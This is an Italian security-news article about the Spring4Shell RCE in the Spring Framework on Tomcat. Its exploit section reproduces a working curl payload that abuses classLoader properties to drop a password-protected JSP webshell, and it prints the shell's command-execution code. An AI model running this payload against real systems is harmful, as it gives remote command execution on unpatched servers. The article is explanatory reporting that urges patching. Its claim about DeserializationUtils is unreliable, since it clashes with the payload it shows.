Red Hot Cyber
Condividi la tua difesa. Incoraggia l'eccellenza. La vera forza della cybersecurity risiede nell'effetto moltiplicatore della conoscenza.
Cerca
Redhotcyber Banner Sito 970x120px Uscita 101125
Enterprise BusinessLog 320x200 1
Spring4Shell e SpringShell. Un’altra RCE che fa paura

Spring4Shell e SpringShell. Un’altra RCE che fa paura

Redazione RHC : 31 Marzo 2022 10:03

Una vulnerabilità nel popolare framework Spring per lo sviluppo di applicazioni Web Java espone potenzialmente molte applicazioni Web ad attacchi informatici remoti.

La vulnerabilità, soprannominata Spring4Shell e SpringShell, ha suscitato grande scalpore tra gli esperti di sicurezza nelle ultime 24 ore.

In particolare, i ricercatori di sicurezza hanno cercato di capire se il problema è nuovo o deriva da una vulnerabilità precedente.

Di cosa si tratta


Enterprise

Prova la Demo di Business Log! Adaptive SOC italiano
Log management non solo per la grande Azienda, ma una suite di Audit file, controllo USB, asset, sicurezza e un Security Operation Center PERSONALE, che ti riporta tutte le operazioni necessarie al tuo PC per tutelare i tuoi dati e informati in caso di problemi nel tuo ambiente privato o di lavoro. Scarica ora la Demo di Business Log per 30gg


Supporta Red Hot Cyber attraverso: 

  1. L'acquisto del fumetto sul Cybersecurity Awareness
  2. Ascoltando i nostri Podcast
  3. Seguendo RHC su WhatsApp
  4. Seguendo RHC su Telegram
  5. Scarica gratuitamente “Byte The Silence”, il fumetto sul Cyberbullismo di Red Hot Cyber

Se ti piacciono le novità e gli articoli riportati su di Red Hot Cyber, iscriviti immediatamente alla newsletter settimanale per non perdere nessun articolo. La newsletter generalmente viene inviata ai nostri lettori ad inizio settimana, indicativamente di lunedì.

Secondo gli esperti di Praetorian e Flashpoint , la vulnerabilità è nuova e può essere sfruttata da remoto se l’applicazione Spring viene distribuita su un server Apache Tomcat con una configurazione comune.

Per sfruttare la vulnerabilità, un utente malintenzionato deve individuare e identificare le installazioni di applicazioni Web utilizzando DeserializationUtils. La vulnerabilità non interessa le applicazioni Spring che utilizzano Spring Boot e Tomcat incorporato.

Spring4Shell (a cui non è ancora stato assegnato un ID CVE) avrà probabilmente bisogno di un aggiornamento importante per garantire che le installazioni siano sicure, ha spiegato Richard Ford, direttore tecnico senior di Praetorian.

La vulnerabilità è molto facile da sfruttare, ha affermato Ford, e gli utenti dovranno installare gli aggiornamenti su cui Spring sta già lavorando il prima possibile. Secondo gli esperti di Flashpoint, non si discute ancora della vulnerabilità nella comunità dei criminali informatici.

Gli esperti di sicurezza delle informazioni sono venuti a conoscenza della vulnerabilità per la prima volta quando un ricercatore cinese ha pubblicato un tweet con uno screenshot di un attacco PoC.

Tuttavia, il tweet è stato presto cancellato, a quanto pare perché è un crimine in Cina pubblicare informazioni sulle vulnerabilità senza il permesso del governo. Su VX-Underground, le informazioni su Spring4Shell sono apparse a metà giornata del 30 marzo.

Avendo accesso agli screenshot, gli esperti di sicurezza sono stati in grado di decodificare l’exploit e riprodurre l’attacco in poche ore.

Uno sguardo all’exploit

La vulnerabilità sembra (A detta di Rapid7) interessare le funzioni che utilizzano l’ annotazione @RequestMapping e i parametri POJO (Plain Old Java Object). Ecco un esempio in una dimostrazione MVC di Springframework :

package net.javaguides.springmvc.helloworld.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.InitBinder;
import org.springframework.web.bind.annotation.RequestMapping;

import net.javaguides.springmvc.helloworld.model.HelloWorld;

@Controller
public class HelloWorldController {

	@RequestMapping("/rapid7")
	public void vulnerable(HelloWorld model) {
	}
}

Un controller ( HelloWorldController), una volta caricato in Tomcat, gestirà le richieste HTTP a http://name/appname/rapid7. La funzione che gestisce la richiesta viene chiamata vulnerablee dispone di un parametro POJO HelloWorld. Qui, HelloWorldè ridotto ma POJO può essere piuttosto complicato se necessario:

package net.javaguides.springmvc.helloworld.model;

public class HelloWorld {
	private String message;
}

Questa è l’intera condizione sfruttabile, almeno dalle versioni di Spring Framework da 4.3.0 a 5.3.15. (Non sono state esplorate le versioni indietro alla 4.3.0.)

Se compiliamo il progetto e lo ospitiamo su Tomcat, possiamo quindi sfruttarlo con il seguente comando curl. Nota quanto segue utilizza esattamente lo stesso payload dalla PoC creata dal ricercatore cinese.

curl -v -d "class.module.classLoader.resources.context.parent.pipeline
.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%
22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRunt
ime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%
20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20
while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7
D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context
.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources
.context.parent.pipeline.first.directory=webapps/ROOT&class.module.cl
assLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&cl
ass.module.classLoader.resources.context.parent.pipeline.first.fileDat
eFormat=" http://localhost:8080/springmvc5-helloworld-exmaple-0.0.1-
SNAPSHOT/rapid7

Questo payload rilascia una webshell protetta da password nella directory ROOT di Tomcat chiamata tomcatwar.jsp, e si presenta così:

- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in
= -.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))3D-1){ out.
println(new String(b)); } } -

Gli aggressori possono a questo punto invocare i comandi al server. 

Ecco un esempio di esecuzione whoamiper ottenere albinolobster:

La versione Java sembra avere importanza. 

Il test su OpenJDK 1.8.0_312 non riesce, ma OpenJDK 11.0.14.1 funziona.

Immagine del sitoRedazione
La redazione di Red Hot Cyber è composta da un insieme di persone fisiche e fonti anonime che collaborano attivamente fornendo informazioni in anteprima e news sulla sicurezza informatica e sull'informatica in generale.

Lista degli articoli

Articoli in evidenza

Immagine del sito
Google, Amazon e Meta e la loro “Guerra Sottomarina”
Di Redazione RHC - 14/11/2025

Il traffico globale, come sanno i lettori di RHC, viaggia per la maggior parte sotto il mare. Secondo TeleGeography, istituto specializzato nelle telecomunicazioni, nel mondo sono attivi più di 530 s...

Immagine del sito
Una campagna di spionaggio “autonoma” è stata orchestrata dall’intelligenza artificiale
Di Redazione RHC - 14/11/2025

Un’analisi condotta negli ultimi mesi aveva evidenziato come l’evoluzione dei sistemi di intelligenza artificiale stesse raggiungendo un punto critico per la sicurezza informatica, con capacità r...

Immagine del sito
Uno 0day su FortiWeb WAF sfruttato attivamente! E rimuovete le interfacce di Admin da Internet
Di Redazione RHC - 14/11/2025

Gli aggressori stanno attivamente sfruttando una falla critica nel sistema di protezione delle applicazioni web FortiWeb (WAF) prodotto da Fortinet, che potrebbe essere utilizzata come mezzo per condu...

Immagine del sito
Un bug 0Day per un plugin WordPress in vendita a 6000 euro nelle underground
Di Redazione RHC - 14/11/2025

Su uno dei più noti forum russi per la compravendita di vulnerabilità e strumenti offensivi, il thread è arrivato come una normale inserzione commerciale, ma il contenuto è tutt’altro che banale...

Immagine del sito
Cos’è la Misevoluzione: l’Evoluzione Autonoma degli Agenti AI, e non è sempre buona
Di Redazione RHC - 13/11/2025

Shanghai, 11 novembre 2025 – Un nuovo studio condotto dallo Shanghai Artificial Intelligence Laboratory, in collaborazione con la Shanghai Jiao Tong University, la Renmin University of China e la Pr...